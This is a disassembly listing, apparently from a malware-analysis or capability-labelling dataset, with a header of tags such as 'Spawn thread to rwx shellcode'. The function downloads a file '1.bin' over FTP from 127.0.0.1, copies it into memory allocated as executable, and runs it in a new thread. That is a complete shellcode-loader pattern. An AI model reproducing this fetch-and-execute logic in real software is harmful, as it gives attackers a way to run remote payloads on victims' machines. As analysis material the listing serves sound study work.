Function at 0x401680
Capabilities:
Allocate or change rwx memory
Connect to http server
Create http request
Create thread
Execute command
Execute shellcode via indirect call
Read data from internet
Receive data
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403995
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x407040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x2c]
call fcn.00401050
mov dword [ebp - 4], 0
mov edx, 0x4042c8
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.004023a0
cmp dword [ebp - 0x18], 0xf
lea edx, [ebp - 0x2c]
push 0x4025c0
push dword [ebp - 0x1c]
cmova edx, dword [ebp - 0x2c]
mov ecx, eax
call fcn.004025f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x48]
call fcn.00401360
mov byte [ebp - 4], 1
mov edx, 0x4042d4
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.004023a0
cmp dword [ebp - 0x34], 0xf
lea edx, [ebp - 0x48]
push 0x4025c0
push dword [ebp - 0x38]
cmova edx, dword [ebp - 0x48]
mov ecx, eax
call fcn.004025f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x34], 0xf
lea edx, [ebp - 0x48]
mov esi, dword [ebp - 0x1c]
lea eax, [ebp - 0x2c]
cmova edx, dword [ebp - 0x48]
cmp dword [ebp - 0x18], 0xf
cmova eax, dword [ebp - 0x2c]
cmp esi, dword [ebp - 0x38]
jne 0x4017ac
sub esi, 4
jb 0x401769
mov ecx, dword [eax]
cmp ecx, dword [edx]
jne 0x40176e
add eax, 4
add edx, 4
sub esi, 4
jae 0x401758
cmp esi, 0xfffffffc
je 0x4017a2
mov cl, byte [eax]
cmp cl, byte [edx]
jne 0x40179b
cmp esi, 0xfffffffd
je 0x4017a2
mov cl, byte [eax + 1]
cmp cl, byte [edx + 1]
jne 0x40179b
cmp esi, 0xfffffffe
je 0x4017a2
mov cl, byte [eax + 2]
cmp cl, byte [edx + 2]
jne 0x40179b
cmp esi, 0xffffffff
je 0x4017a2
mov al, byte [eax + 3]
cmp al, byte [edx + 3]
je 0x4017a2
sbb eax, eax
or eax, 1
jmp 0x4017a4
xor eax, eax
test eax, eax
je 0x4018be
lea ecx, [ebp - 0x68]
call fcn.00401050
mov esi, eax
lea eax, [ebp - 0x2c]
cmp eax, esi
je 0x401825
mov ecx, dword [ebp - 0x18]
cmp ecx, 0xf
jbe 0x4017f1
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4017e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a5e
push ecx
push edx
call fcn.00402c41
add esp, 8
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0xf
jbe 0x401859
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40184f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a5e
push ecx
push edx
call fcn.00402c41
add esp, 8
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4042c8
call fcn.004023a0
cmp dword [ebp - 0x18], 0xf
lea edx, [ebp - 0x2c]
push dword [ebp - 0x1c]
cmova edx, dword [ebp - 0x2c]
mov ecx, eax
call fcn.004025f0
add esp, 4
mov edx, 0x4042e8
mov ecx, eax
call fcn.004023a0
cmp dword [ebp - 0x34], 0xf
lea edx, [ebp - 0x48]
push 0x4025c0
push dword [ebp - 0x38]
cmova edx, dword [ebp - 0x48]
mov ecx, eax
call fcn.004025f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0x3e8
call edi
jmp 0x401735
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4042f4
push 0x4025c0
call fcn.004023a0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor edi, edi
mov dword [ebp - 0x14], 0
push edi
push edi
push edi
push edi
push str.WinInet_Ftp
call dword [sym.imp.WININET.dll_InternetOpenA]
push edi
push 0x8000000
push 1
push 0x404318
push 0x404318
push edi
push str.127.0.0.1
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
push edi
push 0x80000002
push 0x80000000
push str._1.bin
push eax
call dword [sym.imp.WININET.dll_FtpOpenFileA]
push edi
push eax
mov dword [ebp - 0x30], eax
call dword [sym.imp.WININET.dll_FtpGetFileSize]
mov esi, dword [sym.imp.mfc140.dll_Ordinal_265]
push eax
mov dword [ebp - 0x4c], eax
call esi
push dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
push edi
push eax
call sub.VCRUNTIME140.dll_memset
push 0x1000
call esi
push 0x1000
mov esi, eax
push edi
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0x20
lea eax, [ebp - 0x14]
push eax
push 0x1000
push esi
push dword [ebp - 0x30]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401996
push dword [ebp - 0x14]
mov eax, dword [ebp - 0x50]
add eax, edi
push esi
push eax
call sub.VCRUNTIME140.dll_memcpy
add edi, dword [ebp - 0x14]
add esp, 0xc
cmp dword [ebp - 0x4c], edi
ja 0x401965
mov edi, dword [ebp - 0x4c]
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov edi, dword [ebp - 0x50]
mov esi, eax
push edi
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x30]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.mfc140.dll_Ordinal_266]
push 1
push str._d__n
call fcn.004027e0
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [ebp - 0x34]
add esp, 0x10
cmp ecx, 0xf
jbe 0x401a26
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401a1c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a5e
push ecx
push edx
call fcn.00402c41
add esp, 8
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
cmp ecx, 0xf
jbe 0x401a6e
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401a64
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401a64
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402c41
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004029e2
mov esp, ebp
pop ebp
ret